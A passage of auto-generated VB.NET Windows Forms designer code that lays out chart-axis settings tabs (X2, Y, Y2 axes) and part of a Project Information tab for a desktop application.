Me.txtX2AxisMin.Name = "txtX2AxisMin" Me.txtX2AxisMin.Size = New System.Drawing.Size(202, 20) Me.txtX2AxisMin.TabIndex = 77 ' 'Label52 ' Me.Label52.AutoSize = True Me.Label52.Location = New System.Drawing.Point(43, 85) Me.Label52.Name = "Label52" Me.Label52.Size = New System.Drawing.Size(27, 13) Me.Label52.TabIndex = 76 Me.Label52.Text = "Min:" ' 'cmbX2AxisTitleAlignment ' Me.cmbX2AxisTitleAlignment.FormattingEnabled = True Me.cmbX2AxisTitleAlignment.Location = New System.Drawing.Point(76, 53) Me.cmbX2AxisTitleAlignment.Name = "cmbX2AxisTitleAlignment" Me.cmbX2AxisTitleAlignment.Size = New System.Drawing.Size(255, 21) Me.cmbX2AxisTitleAlignment.TabIndex = 75 ' 'Label53 ' Me.Label53.AutoSize = True Me.Label53.Location = New System.Drawing.Point(8, 56) Me.Label53.Name = "Label53" Me.Label53.Size = New System.Drawing.Size(56, 13) Me.Label53.TabIndex = 74 Me.Label53.Text = "Alignment:" ' 'btnX2AxisTitleFont ' Me.btnX2AxisTitleFont.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnX2AxisTitleFont.Location = New System.Drawing.Point(834, 6) Me.btnX2AxisTitleFont.Name = "btnX2AxisTitleFont" Me.btnX2AxisTitleFont.Size = New System.Drawing.Size(54, 22) Me.btnX2AxisTitleFont.TabIndex = 73 Me.btnX2AxisTitleFont.Text = "Font" Me.btnX2AxisTitleFont.UseVisualStyleBackColor = True ' 'txtX2AxisTitle ' Me.txtX2AxisTitle.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtX2AxisTitle.Location = New System.Drawing.Point(76, 7) Me.txtX2AxisTitle.Name = "txtX2AxisTitle" Me.txtX2AxisTitle.Size = New System.Drawing.Size(752, 20) Me.txtX2AxisTitle.TabIndex = 72 ' 'Label54 ' Me.Label54.AutoSize = True Me.Label54.Location = New System.Drawing.Point(8, 10) Me.Label54.Name = "Label54" Me.Label54.Size = New System.Drawing.Size(68, 13) Me.Label54.TabIndex = 71 Me.Label54.Text = "X2 Axis Title:" ' 'TabPage17 ' Me.TabPage17.Controls.Add(Me.btnYAxisZoom) Me.TabPage17.Controls.Add(Me.chkYAxisScrollBar) Me.TabPage17.Controls.Add(Me.txtYAxisLabelStyleFormat) Me.TabPage17.Controls.Add(Me.Label67) Me.TabPage17.Controls.Add(Me.btnYAxisTitleColor) Me.TabPage17.Controls.Add(Me.chkYAxisAutoMajGridInt) Me.TabPage17.Controls.Add(Me.txtYAxisMajGridInt) Me.TabPage17.Controls.Add(Me.Label37) Me.TabPage17.Controls.Add(Me.chkYAxisAutoAnnotInt) Me.TabPage17.Controls.Add(Me.txtYAxisAnnotInt) Me.TabPage17.Controls.Add(Me.Label38) Me.TabPage17.Controls.Add(Me.chkYAxisAutoMax) Me.TabPage17.Controls.Add(Me.DateTimePicker4) Me.TabPage17.Controls.Add(Me.DateTimePicker3) Me.TabPage17.Controls.Add(Me.chkYAxisAutoMin) Me.TabPage17.Controls.Add(Me.txtYAxisMax) Me.TabPage17.Controls.Add(Me.txtYAxisMin) Me.TabPage17.Controls.Add(Me.Label39) Me.TabPage17.Controls.Add(Me.Label40) Me.TabPage17.Controls.Add(Me.cmbYAxisTitleAlignment) Me.TabPage17.Controls.Add(Me.Label41) Me.TabPage17.Controls.Add(Me.btnYAxisTitleFont) Me.TabPage17.Controls.Add(Me.txtYAxisTitle) Me.TabPage17.Controls.Add(Me.Label42) Me.TabPage17.Location = New System.Drawing.Point(4, 22) Me.TabPage17.Name = "TabPage17" Me.TabPage17.Size = New System.Drawing.Size(921, 397) Me.TabPage17.TabIndex = 2 Me.TabPage17.Text = "Y Axis" Me.TabPage17.UseVisualStyleBackColor = True ' 'btnYAxisZoom ' Me.btnYAxisZoom.Location = New System.Drawing.Point(115, 221) Me.btnYAxisZoom.Name = "btnYAxisZoom" Me.btnYAxisZoom.Size = New System.Drawing.Size(54, 22) Me.btnYAxisZoom.TabIndex = 103 Me.btnYAxisZoom.Text = "Zoom" Me.btnYAxisZoom.UseVisualStyleBackColor = True ' 'chkYAxisScrollBar ' Me.chkYAxisScrollBar.AutoSize = True Me.chkYAxisScrollBar.Location = New System.Drawing.Point(11, 225) Me.chkYAxisScrollBar.Name = "chkYAxisScrollBar" Me.chkYAxisScrollBar.Size = New System.Drawing.Size(67, 17) Me.chkYAxisScrollBar.TabIndex = 102 Me.chkYAxisScrollBar.Text = "Scrollbar" Me.chkYAxisScrollBar.UseVisualStyleBackColor = True ' 'txtYAxisLabelStyleFormat ' Me.txtYAxisLabelStyleFormat.Location = New System.Drawing.Point(115, 195) Me.txtYAxisLabelStyleFormat.Name = "txtYAxisLabelStyleFormat" Me.txtYAxisLabelStyleFormat.Size = New System.Drawing.Size(163, 20) Me.txtYAxisLabelStyleFormat.TabIndex = 94 ' 'Label67 ' Me.Label67.AutoSize = True Me.Label67.Location = New System.Drawing.Point(11, 198) Me.Label67.Name = "Label67" Me.Label67.Size = New System.Drawing.Size(92, 13) Me.Label67.TabIndex = 93 Me.Label67.Text = "Label style format:" ' 'btnYAxisTitleColor ' Me.btnYAxisTitleColor.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnYAxisTitleColor.Location = New System.Drawing.Point(834, 34) Me.btnYAxisTitleColor.Name = "btnYAxisTitleColor" Me.btnYAxisTitleColor.Size = New System.Drawing.Size(54, 22) Me.btnYAxisTitleColor.TabIndex = 91 Me.btnYAxisTitleColor.Text = "Color" Me.btnYAxisTitleColor.UseVisualStyleBackColor = True ' 'chkYAxisAutoMajGridInt ' Me.chkYAxisAutoMajGridInt.AutoSize = True Me.chkYAxisAutoMajGridInt.Location = New System.Drawing.Point(284, 171) Me.chkYAxisAutoMajGridInt.Name = "chkYAxisAutoMajGridInt" Me.chkYAxisAutoMajGridInt.Size = New System.Drawing.Size(48, 17) Me.chkYAxisAutoMajGridInt.TabIndex = 88 Me.chkYAxisAutoMajGridInt.Text = "Auto" Me.chkYAxisAutoMajGridInt.UseVisualStyleBackColor = True ' 'txtYAxisMajGridInt ' Me.txtYAxisMajGridInt.Location = New System.Drawing.Point(115, 169) Me.txtYAxisMajGridInt.Name = "txtYAxisMajGridInt" Me.txtYAxisMajGridInt.Size = New System.Drawing.Size(163, 20) Me.txtYAxisMajGridInt.TabIndex = 87 ' 'Label37 ' Me.Label37.AutoSize = True Me.Label37.Location = New System.Drawing.Point(11, 172) Me.Label37.Name = "Label37" Me.Label37.Size = New System.Drawing.Size(93, 13) Me.Label37.TabIndex = 86 Me.Label37.Text = "Major grid interval:" ' 'chkYAxisAutoAnnotInt ' Me.chkYAxisAutoAnnotInt.AutoSize = True Me.chkYAxisAutoAnnotInt.Location = New System.Drawing.Point(284, 146) Me.chkYAxisAutoAnnotInt.Name = "chkYAxisAutoAnnotInt" Me.chkYAxisAutoAnnotInt.Size = New System.Drawing.Size(48, 17) Me.chkYAxisAutoAnnotInt.TabIndex = 85 Me.chkYAxisAutoAnnotInt.Text = "Auto" Me.chkYAxisAutoAnnotInt.UseVisualStyleBackColor = True ' 'txtYAxisAnnotInt ' Me.txtYAxisAnnotInt.Location = New System.Drawing.Point(115, 144) Me.txtYAxisAnnotInt.Name = "txtYAxisAnnotInt" Me.txtYAxisAnnotInt.Size = New System.Drawing.Size(163, 20) Me.txtYAxisAnnotInt.TabIndex = 84 ' 'Label38 ' Me.Label38.AutoSize = True Me.Label38.Location = New System.Drawing.Point(11, 147) Me.Label38.Name = "Label38" Me.Label38.Size = New System.Drawing.Size(98, 13) Me.Label38.TabIndex = 83 Me.Label38.Text = "Annotation interval:" ' 'chkYAxisAutoMax ' Me.chkYAxisAutoMax.AutoSize = True Me.chkYAxisAutoMax.Location = New System.Drawing.Point(607, 84) Me.chkYAxisAutoMax.Name = "chkYAxisAutoMax" Me.chkYAxisAutoMax.Size = New System.Drawing.Size(48, 17) Me.chkYAxisAutoMax.TabIndex = 82 Me.chkYAxisAutoMax.Text = "Auto" Me.chkYAxisAutoMax.UseVisualStyleBackColor = True ' 'DateTimePicker4 ' Me.DateTimePicker4.Location = New System.Drawing.Point(399, 108) Me.DateTimePicker4.Name = "DateTimePicker4" Me.DateTimePicker4.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker4.TabIndex = 81 ' 'DateTimePicker3 ' Me.DateTimePicker3.Location = New System.Drawing.Point(76, 108) Me.DateTimePicker3.Name = "DateTimePicker3" Me.DateTimePicker3.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker3.TabIndex = 80 ' 'chkYAxisAutoMin ' Me.chkYAxisAutoMin.AutoSize = True Me.chkYAxisAutoMin.Location = New System.Drawing.Point(284, 84) Me.chkYAxisAutoMin.Name = "chkYAxisAutoMin" Me.chkYAxisAutoMin.Size = New System.Drawing.Size(48, 17) Me.chkYAxisAutoMin.TabIndex = 79 Me.chkYAxisAutoMin.Text = "Auto" Me.chkYAxisAutoMin.UseVisualStyleBackColor = True ' 'txtYAxisMax ' Me.txtYAxisMax.Location = New System.Drawing.Point(399, 82) Me.txtYAxisMax.Name = "txtYAxisMax" Me.txtYAxisMax.Size = New System.Drawing.Size(202, 20) Me.txtYAxisMax.TabIndex = 78 ' 'txtYAxisMin ' Me.txtYAxisMin.Location = New System.Drawing.Point(76, 82) Me.txtYAxisMin.Name = "txtYAxisMin" Me.txtYAxisMin.Size = New System.Drawing.Size(202, 20) Me.txtYAxisMin.TabIndex = 77 ' 'Label39 ' Me.Label39.AutoSize = True Me.Label39.Location = New System.Drawing.Point(363, 85) Me.Label39.Name = "Label39" Me.Label39.Size = New System.Drawing.Size(30, 13) Me.Label39.TabIndex = 76 Me.Label39.Text = "Max:" ' 'Label40 ' Me.Label40.AutoSize = True Me.Label40.Location = New System.Drawing.Point(43, 85) Me.Label40.Name = "Label40" Me.Label40.Size = New System.Drawing.Size(27, 13) Me.Label40.TabIndex = 75 Me.Label40.Text = "Min:" ' 'cmbYAxisTitleAlignment ' Me.cmbYAxisTitleAlignment.FormattingEnabled = True Me.cmbYAxisTitleAlignment.Location = New System.Drawing.Point(76, 53) Me.cmbYAxisTitleAlignment.Name = "cmbYAxisTitleAlignment" Me.cmbYAxisTitleAlignment.Size = New System.Drawing.Size(255, 21) Me.cmbYAxisTitleAlignment.TabIndex = 74 ' 'Label41 ' Me.Label41.AutoSize = True Me.Label41.Location = New System.Drawing.Point(8, 56) Me.Label41.Name = "Label41" Me.Label41.Size = New System.Drawing.Size(56, 13) Me.Label41.TabIndex = 73 Me.Label41.Text = "Alignment:" ' 'btnYAxisTitleFont ' Me.btnYAxisTitleFont.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnYAxisTitleFont.Location = New System.Drawing.Point(834, 6) Me.btnYAxisTitleFont.Name = "btnYAxisTitleFont" Me.btnYAxisTitleFont.Size = New System.Drawing.Size(54, 22) Me.btnYAxisTitleFont.TabIndex = 72 Me.btnYAxisTitleFont.Text = "Font" Me.btnYAxisTitleFont.UseVisualStyleBackColor = True ' 'txtYAxisTitle ' Me.txtYAxisTitle.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtYAxisTitle.Location = New System.Drawing.Point(76, 7) Me.txtYAxisTitle.Name = "txtYAxisTitle" Me.txtYAxisTitle.Size = New System.Drawing.Size(752, 20) Me.txtYAxisTitle.TabIndex = 71 ' 'Label42 ' Me.Label42.AutoSize = True Me.Label42.Location = New System.Drawing.Point(8, 10) Me.Label42.Name = "Label42" Me.Label42.Size = New System.Drawing.Size(62, 13) Me.Label42.TabIndex = 70 Me.Label42.Text = "Y Axis Title:" ' 'TabPage18 ' Me.TabPage18.Controls.Add(Me.btnY2AxisZoom) Me.TabPage18.Controls.Add(Me.chkY2AxisScrollBar) Me.TabPage18.Controls.Add(Me.txtY2AxisLabelStyleFormat) Me.TabPage18.Controls.Add(Me.Label68) Me.TabPage18.Controls.Add(Me.btnY2AxisTitleColor) Me.TabPage18.Controls.Add(Me.chkY2AxisAutoMajGridInt) Me.TabPage18.Controls.Add(Me.txtY2AxisMajGridInt) Me.TabPage18.Controls.Add(Me.Label5) Me.TabPage18.Controls.Add(Me.chkY2AxisAutoAnnotInt) Me.TabPage18.Controls.Add(Me.txtY2AxisAnnotInt) Me.TabPage18.Controls.Add(Me.Label14) Me.TabPage18.Controls.Add(Me.chkY2AxisAutoMax) Me.TabPage18.Controls.Add(Me.DateTimePicker5) Me.TabPage18.Controls.Add(Me.DateTimePicker6) Me.TabPage18.Controls.Add(Me.chkY2AxisAutoMin) Me.TabPage18.Controls.Add(Me.txtY2AxisMax) Me.TabPage18.Controls.Add(Me.txtY2AxisMin) Me.TabPage18.Controls.Add(Me.Label15) Me.TabPage18.Controls.Add(Me.Label43) Me.TabPage18.Controls.Add(Me.cmbY2AxisTitleAlignment) Me.TabPage18.Controls.Add(Me.Label44) Me.TabPage18.Controls.Add(Me.btnY2AxisTitleFont) Me.TabPage18.Controls.Add(Me.txtY2AxisTitle) Me.TabPage18.Controls.Add(Me.Label46) Me.TabPage18.Location = New System.Drawing.Point(4, 22) Me.TabPage18.Name = "TabPage18" Me.TabPage18.Size = New System.Drawing.Size(921, 397) Me.TabPage18.TabIndex = 3 Me.TabPage18.Text = "Y2 Axis" Me.TabPage18.UseVisualStyleBackColor = True ' 'btnY2AxisZoom ' Me.btnY2AxisZoom.Location = New System.Drawing.Point(115, 221) Me.btnY2AxisZoom.Name = "btnY2AxisZoom" Me.btnY2AxisZoom.Size = New System.Drawing.Size(54, 22) Me.btnY2AxisZoom.TabIndex = 103 Me.btnY2AxisZoom.Text = "Zoom" Me.btnY2AxisZoom.UseVisualStyleBackColor = True ' 'chkY2AxisScrollBar ' Me.chkY2AxisScrollBar.AutoSize = True Me.chkY2AxisScrollBar.Location = New System.Drawing.Point(11, 225) Me.chkY2AxisScrollBar.Name = "chkY2AxisScrollBar" Me.chkY2AxisScrollBar.Size = New System.Drawing.Size(67, 17) Me.chkY2AxisScrollBar.TabIndex = 102 Me.chkY2AxisScrollBar.Text = "Scrollbar" Me.chkY2AxisScrollBar.UseVisualStyleBackColor = True ' 'txtY2AxisLabelStyleFormat ' Me.txtY2AxisLabelStyleFormat.Location = New System.Drawing.Point(115, 195) Me.txtY2AxisLabelStyleFormat.Name = "txtY2AxisLabelStyleFormat" Me.txtY2AxisLabelStyleFormat.Size = New System.Drawing.Size(163, 20) Me.txtY2AxisLabelStyleFormat.TabIndex = 94 ' 'Label68 ' Me.Label68.AutoSize = True Me.Label68.Location = New System.Drawing.Point(11, 198) Me.Label68.Name = "Label68" Me.Label68.Size = New System.Drawing.Size(92, 13) Me.Label68.TabIndex = 93 Me.Label68.Text = "Label style format:" ' 'btnY2AxisTitleColor ' Me.btnY2AxisTitleColor.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnY2AxisTitleColor.Location = New System.Drawing.Point(834, 34) Me.btnY2AxisTitleColor.Name = "btnY2AxisTitleColor" Me.btnY2AxisTitleColor.Size = New System.Drawing.Size(54, 22) Me.btnY2AxisTitleColor.TabIndex = 91 Me.btnY2AxisTitleColor.Text = "Color" Me.btnY2AxisTitleColor.UseVisualStyleBackColor = True ' 'chkY2AxisAutoMajGridInt ' Me.chkY2AxisAutoMajGridInt.AutoSize = True Me.chkY2AxisAutoMajGridInt.Location = New System.Drawing.Point(284, 171) Me.chkY2AxisAutoMajGridInt.Name = "chkY2AxisAutoMajGridInt" Me.chkY2AxisAutoMajGridInt.Size = New System.Drawing.Size(48, 17) Me.chkY2AxisAutoMajGridInt.TabIndex = 87 Me.chkY2AxisAutoMajGridInt.Text = "Auto" Me.chkY2AxisAutoMajGridInt.UseVisualStyleBackColor = True ' 'txtY2AxisMajGridInt ' Me.txtY2AxisMajGridInt.Location = New System.Drawing.Point(115, 169) Me.txtY2AxisMajGridInt.Name = "txtY2AxisMajGridInt" Me.txtY2AxisMajGridInt.Size = New System.Drawing.Size(163, 20) Me.txtY2AxisMajGridInt.TabIndex = 86 ' 'Label5 ' Me.Label5.AutoSize = True Me.Label5.Location = New System.Drawing.Point(11, 172) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(93, 13) Me.Label5.TabIndex = 85 Me.Label5.Text = "Major grid interval:" ' 'chkY2AxisAutoAnnotInt ' Me.chkY2AxisAutoAnnotInt.AutoSize = True Me.chkY2AxisAutoAnnotInt.Location = New System.Drawing.Point(284, 146) Me.chkY2AxisAutoAnnotInt.Name = "chkY2AxisAutoAnnotInt" Me.chkY2AxisAutoAnnotInt.Size = New System.Drawing.Size(48, 17) Me.chkY2AxisAutoAnnotInt.TabIndex = 84 Me.chkY2AxisAutoAnnotInt.Text = "Auto" Me.chkY2AxisAutoAnnotInt.UseVisualStyleBackColor = True ' 'txtY2AxisAnnotInt ' Me.txtY2AxisAnnotInt.Location = New System.Drawing.Point(115, 144) Me.txtY2AxisAnnotInt.Name = "txtY2AxisAnnotInt" Me.txtY2AxisAnnotInt.Size = New System.Drawing.Size(163, 20) Me.txtY2AxisAnnotInt.TabIndex = 83 ' 'Label14 ' Me.Label14.AutoSize = True Me.Label14.Location = New System.Drawing.Point(11, 147) Me.Label14.Name = "Label14" Me.Label14.Size = New System.Drawing.Size(98, 13) Me.Label14.TabIndex = 82 Me.Label14.Text = "Annotation interval:" ' 'chkY2AxisAutoMax ' Me.chkY2AxisAutoMax.AutoSize = True Me.chkY2AxisAutoMax.Location = New System.Drawing.Point(607, 84) Me.chkY2AxisAutoMax.Name = "chkY2AxisAutoMax" Me.chkY2AxisAutoMax.Size = New System.Drawing.Size(48, 17) Me.chkY2AxisAutoMax.TabIndex = 81 Me.chkY2AxisAutoMax.Text = "Auto" Me.chkY2AxisAutoMax.UseVisualStyleBackColor = True ' 'DateTimePicker5 ' Me.DateTimePicker5.Location = New System.Drawing.Point(399, 108) Me.DateTimePicker5.Name = "DateTimePicker5" Me.DateTimePicker5.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker5.TabIndex = 80 ' 'DateTimePicker6 ' Me.DateTimePicker6.Location = New System.Drawing.Point(76, 108) Me.DateTimePicker6.Name = "DateTimePicker6" Me.DateTimePicker6.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker6.TabIndex = 79 ' 'chkY2AxisAutoMin ' Me.chkY2AxisAutoMin.AutoSize = True Me.chkY2AxisAutoMin.Location = New System.Drawing.Point(284, 84) Me.chkY2AxisAutoMin.Name = "chkY2AxisAutoMin" Me.chkY2AxisAutoMin.Size = New System.Drawing.Size(48, 17) Me.chkY2AxisAutoMin.TabIndex = 78 Me.chkY2AxisAutoMin.Text = "Auto" Me.chkY2AxisAutoMin.UseVisualStyleBackColor = True ' 'txtY2AxisMax ' Me.txtY2AxisMax.Location = New System.Drawing.Point(399, 82) Me.txtY2AxisMax.Name = "txtY2AxisMax" Me.txtY2AxisMax.Size = New System.Drawing.Size(202, 20) Me.txtY2AxisMax.TabIndex = 77 ' 'txtY2AxisMin ' Me.txtY2AxisMin.Location = New System.Drawing.Point(76, 82) Me.txtY2AxisMin.Name = "txtY2AxisMin" Me.txtY2AxisMin.Size = New System.Drawing.Size(202, 20) Me.txtY2AxisMin.TabIndex = 76 ' 'Label15 ' Me.Label15.AutoSize = True Me.Label15.Location = New System.Drawing.Point(363, 85) Me.Label15.Name = "Label15" Me.Label15.Size = New System.Drawing.Size(30, 13) Me.Label15.TabIndex = 75 Me.Label15.Text = "Max:" ' 'Label43 ' Me.Label43.AutoSize = True Me.Label43.Location = New System.Drawing.Point(43, 85) Me.Label43.Name = "Label43" Me.Label43.Size = New System.Drawing.Size(27, 13) Me.Label43.TabIndex = 74 Me.Label43.Text = "Min:" ' 'cmbY2AxisTitleAlignment ' Me.cmbY2AxisTitleAlignment.FormattingEnabled = True Me.cmbY2AxisTitleAlignment.Location = New System.Drawing.Point(76, 53) Me.cmbY2AxisTitleAlignment.Name = "cmbY2AxisTitleAlignment" Me.cmbY2AxisTitleAlignment.Size = New System.Drawing.Size(255, 21) Me.cmbY2AxisTitleAlignment.TabIndex = 73 ' 'Label44 ' Me.Label44.AutoSize = True Me.Label44.Location = New System.Drawing.Point(8, 56) Me.Label44.Name = "Label44" Me.Label44.Size = New System.Drawing.Size(56, 13) Me.Label44.TabIndex = 72 Me.Label44.Text = "Alignment:" ' 'btnY2AxisTitleFont ' Me.btnY2AxisTitleFont.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnY2AxisTitleFont.Location = New System.Drawing.Point(834, 6) Me.btnY2AxisTitleFont.Name = "btnY2AxisTitleFont" Me.btnY2AxisTitleFont.Size = New System.Drawing.Size(54, 22) Me.btnY2AxisTitleFont.TabIndex = 71 Me.btnY2AxisTitleFont.Text = "Font" Me.btnY2AxisTitleFont.UseVisualStyleBackColor = True ' 'txtY2AxisTitle ' Me.txtY2AxisTitle.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtY2AxisTitle.Location = New System.Drawing.Point(76, 7) Me.txtY2AxisTitle.Name = "txtY2AxisTitle" Me.txtY2AxisTitle.Size = New System.Drawing.Size(752, 20) Me.txtY2AxisTitle.TabIndex = 70 ' 'Label46 ' Me.Label46.AutoSize = True Me.Label46.Location = New System.Drawing.Point(8, 10) Me.Label46.Name = "Label46" Me.Label46.Size = New System.Drawing.Size(68, 13) Me.Label46.TabIndex = 69 Me.Label46.Text = "Y2 Axis Title:" ' 'TabPage2 ' Me.TabPage2.Controls.Add(Me.btnShowProjectInfo) Me.TabPage2.Controls.Add(Me.chkConnect) Me.TabPage2.Controls.Add(Me.btnOpenProject) Me.TabPage2.Controls.Add(Me.Label13) Me.TabPage2.Controls.Add(Me.txtProjectPath) Me.TabPage2.Controls.Add(Me.txtProNetName) Me.TabPage2.Controls.Add(Me.Label9) Me.TabPage2.Controls.Add(Me.btnOpenAppDir) Me.TabPage2.Controls.Add(Me.Label7) Me.TabPage2.Controls.Add(Me.Label17) Me.TabPage2.Controls.Add(Me.btnOpenSystem) Me.TabPage2.Controls.Add(Me.btnOpenData) Me.TabPage2.Controls.Add(Me.btnOpenSettings) Me.TabPage2.Controls.Add(Me.btnParameters) Me.TabPage2.Controls.Add(Me.txtParentProject) Me.TabPage2.Controls.Add(Me.Label45) Me.TabPage2.Controls.Add(Me.Label80) Me.TabPage2.Controls.Add(Me.btnAdd) Me.TabPage2.Controls.Add(Me.txtSystemLocationType) Me.TabPage2.Controls.Add(Me.txtSystemPath) Me.TabPage2.Controls.Add(Me.txtCurrentDuration) Me.TabPage2.Controls.Add(Me.Label12) Me.TabPage2.Controls.Add(Me.txtTotalDuration) Me.TabPage2.Controls.Add(Me.Label2) Me.TabPage2.Controls.Add(Me.Label1) Me.TabPage2.Controls.Add(Me.txtLastUsed) Me.TabPage2.Controls.Add(Me.Label11) Me.TabPage2.Controls.Add(Me.txtCreationDate) Me.TabPage2.Controls.Add(Me.Label10) Me.TabPage2.Controls.Add(Me.txtDataPath) Me.TabPage2.Controls.Add(Me.txtDataLocationType) Me.TabPage2.Controls.Add(Me.Label8) Me.TabPage2.Controls.Add(Me.txtSettingsPath) Me.TabPage2.Controls.Add(Me.txtSettingsLocationType) Me.TabPage2.Controls.Add(Me.Label6) Me.TabPage2.Controls.Add(Me.txtProjectType) Me.TabPage2.Controls.Add(Me.txtProjectDescription) Me.TabPage2.Controls.Add(Me.Label4) Me.TabPage2.Controls.Add(Me.txtProjectName) Me.TabPage2.Controls.Add(Me.Label3) Me.TabPage2.Controls.Add(Me.btnProject) Me.TabPage2.Location = New System.Drawing.Point(4, 22) Me.TabPage2.Name = "TabPage2" Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) Me.TabPage2.Size = New System.Drawing.Size(949, 492) Me.TabPage2.TabIndex = 0 Me.TabPage2.Text = "Project Information" Me.TabPage2.UseVisualStyleBackColor = True ' 'btnShowProjectInfo ' Me.btnShowProjectInfo.Location = New System.Drawing.Point(6, 396) Me.btnShowProjectInfo.Name = "btnShowProjectInfo" Me.btnShowProjectInfo.Size = New System.Drawing.Size(113, 22) Me.btnShowProjectInfo.TabIndex = 304 Me.btnShowProjectInfo.Text = "Show Project Info" Me.btnShowProjectInfo.UseVisualStyleBackColor = True ' 'chkConnect ' Me.chkConnect.AutoSize = True Me.chkConnect.Location = New System.Drawing.Point(419, 136) Me.chkConnect.Name = "chkConnect" Me.chkConnect.Size = New System.Drawing.Size(112, 17) Me.chkConnect.TabIndex = 303 Me.chkConnect.Text = "Connect On Open" Me.chkConnect.UseVisualStyleBackColor = True ' 'btnOpenProject ' Me.btnOpenProject.Location = New System.Drawing.Point(84, 177) Me.btnOpenProject.Name = "btnOpenProject" Me.btnOpenProject.Size = New System.Drawing.Size(48, 22) Me.btnOpenProject.TabIndex = 302 Me.btnOpenProject.Text = "Open" Me.btnOpenProject.UseVisualStyleBackColor = True ' 'Label13 ' Me.Label13.AutoSize = True Me.Label13.Location = New System.Drawing.Point(6, 163) Me.Label13.Name = "Label13" Me.Label13.Size = New System.Drawing.Size(67, 13) Me.Label13.TabIndex = 301 Me.Label13.Text = "Project path:" ' 'txtProjectPath ' Me.txtProjectPath.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtProjectPath.Location = New System.Drawing.Point(137, 160) Me.txtProjectPath.Multiline = True Me.txtProjectPath.Name = "txtProjectPath" Me.txtProjectPath.Size = New System.Drawing.Size(806, 46) Me.txtProjectPath.TabIndex = 300 ' 'txtProNetName ' Me.txtProNetName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtProNetName.Location = New System.Drawing.Point(281, 34) Me.txtProNetName.Name = "txtProNetName" Me.txtProNetName.Size = New System.Drawing.Size(662, 20) Me.txtProNetName.TabIndex = 299 ' 'Label9 ' Me.Label9.AutoSize = True Me.Label9.Location = New System.Drawing.Point(172, 39) Me.Label9.Name = "Label9" Me.Label9.Size = New System.Drawing.Size(84, 13) Me.Label9.TabIndex = 298 Me.Label9.Text = "Project network:" ' 'btnOpenAppDir ' Me.btnOpenAppDir.Location = New System.Drawing.Point(6, 368) Me.btnOpenAppDir.Name = "btnOpenAppDir" Me.btnOpenAppDir.Size = New System.Drawing.Size(150, 22) Me.btnOpenAppDir.TabIndex = 297 Me.btnOpenAppDir.Text = "Open Application Directory" Me.btnOpenAppDir.UseVisualStyleBackColor = True ' 'Label7 ' Me.Label7.AutoSize = True Me.Label7.Location = New System.Drawing.Point(571, 373) Me.Label7.Name = "Label7" Me.Label7.Size = New System.Drawing.Size(41, 13) Me.Label7.TabIndex = 296 Me.Label7.Text = "d:h:m:s" ' 'Label17 ' Me.Label17.AutoSize = True Me.Label17.Location = New System.Drawing.Point(374, 373) Me.Label17.Name = "Label17" Me.Label17.Size = New System.Drawing.Size(41, 13) Me.Label17.TabIndex = 295 Me.Label17.Text = "d:h:m:s" ' 'btnOpenSystem ' Me.btnOpenSystem.Location = New System.Drawing.Point(84, 335) Me.btnOpenSystem.Name = "btnOpenSystem" Me.btnOpenSystem.Size = New System.Drawing.Size(48, 22) Me.btnOpenSystem.TabIndex = 294 Me.btnOpenSystem.Text = "Open" Me.btnOpenSystem.UseVisualStyleBackColor = True ' 'btnOpenData ' Me.btnOpenData.Location = New System.Drawing.Point(84, 283) Me.btnOpenData.Name = "btnOpenData" Me.btnOpenData.Size = New System.Drawing.Size(48, 22) Me.btnOpenData.TabIndex = 293 Me.btnOpenData.Text = "Open" Me.btnOpenData.UseVisualStyleBackColor = True ' 'btnOpenSettings ' Me.btnOpenSettings.Location = New System.Drawing.Point(84, 231) Me.btnOpenSettings.Name = "btnOpenSettings" Me.btnOpenSettings.Size = New System.Drawing.Size(48, 22) Me.btnOpenSettings.TabIndex = 292 Me.btnOpenSettings.Text = "Open" Me.btnOpenSettings.UseVisualStyleBackColor = True ' 'btnParameters ' Me.btnParameters.Location = New System.Drawing.Point(84, 6) Me.btnParameters.Name = "btnParameters" Me.btnParameters.Size = New System.Drawing.Size(72, 22) Me.btnParameters.TabIndex = 284 Me.btnParameters.Text = "Parameters" Me.btnParameters.UseVisualStyleBackColor = True ' 'txtParentProject ' Me.txtParentProject.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtParentProject.Location = New System.Drawing.Point(281, 8) Me.txtParentProject.Name = "txtParentProject" Me.txtParentProject.Size = New System.Drawing.Size(662, 20) Me.txtParentProject.TabIndex = 283 ' 'Label45 ' Me.Label45.AutoSize = True Me.Label45.Location = New System.Drawing.Point(172, 11) Me.Label45.Name = "Label45" Me.Label45.Size = New 